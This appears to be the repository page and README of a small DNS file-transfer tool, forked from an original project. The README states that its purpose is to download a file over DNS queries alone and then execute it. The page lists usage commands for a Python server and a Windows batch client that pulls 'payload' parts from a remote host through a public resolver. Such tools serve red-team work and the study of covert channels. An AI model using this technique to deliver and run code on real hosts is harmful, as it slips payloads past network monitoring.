Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.
Find a file
Stephen Breen 4ca124e141 Merge pull request #1 from hexaclock/master
Added Windows batch script client
2016-01-24 15:38:53 -05:00
client added more options 2015-08-18 20:16:32 -04:00
README.md Update README.md 2015-12-19 20:05:33 -05:00
server.py added patch for if PTR record gets sent 2015-08-20 14:43:41 -04:00

Purpose

Use only DNS queries to download a file, and then execute it.

Usage

On the server hosting the file (tested with python2):

sudo python server.py -f /path/to/file

On the Windows client with batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr

Original author: Stephen Breen - https://github.com/breenmachine/dnsftp

Forked and modified by: Daniel Vinakovsky